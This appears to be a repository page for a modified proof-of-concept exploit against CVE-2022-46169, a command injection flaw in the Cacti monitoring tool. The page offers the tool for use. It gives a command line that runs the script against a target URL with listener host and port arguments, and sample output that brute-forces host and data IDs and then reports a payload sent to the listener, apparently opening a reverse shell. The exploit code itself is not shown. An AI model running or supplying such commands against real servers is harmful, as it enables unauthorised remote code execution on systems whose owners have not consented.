CVE-2022-46169 PoC — Cacti 命令注入漏洞

Description

Find out a modified Cacti public exploit!

介绍

# CVE-2022-46169
This exploit is a modified version from the original script by @FredBrave and adapted by @arthurcortesr and @alv-david. 

## Usage/Examples

```python
python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X
```
## Expected results
```
[*] Testing host_id=X, local_data_id=XX...
[+] Found working combination: host_id=X, local_data_id=X
[*] Payload sent successfully! Check your listener.
```
## Authors

- [@FredBrave](https://github.com/FredBrave)
- [@arthurcortesr](https://www.linkedin.com/in/arthurcortesr/)
- [@alv-david](https://www.linkedin.com/in/alv-david/)

文件快照

备注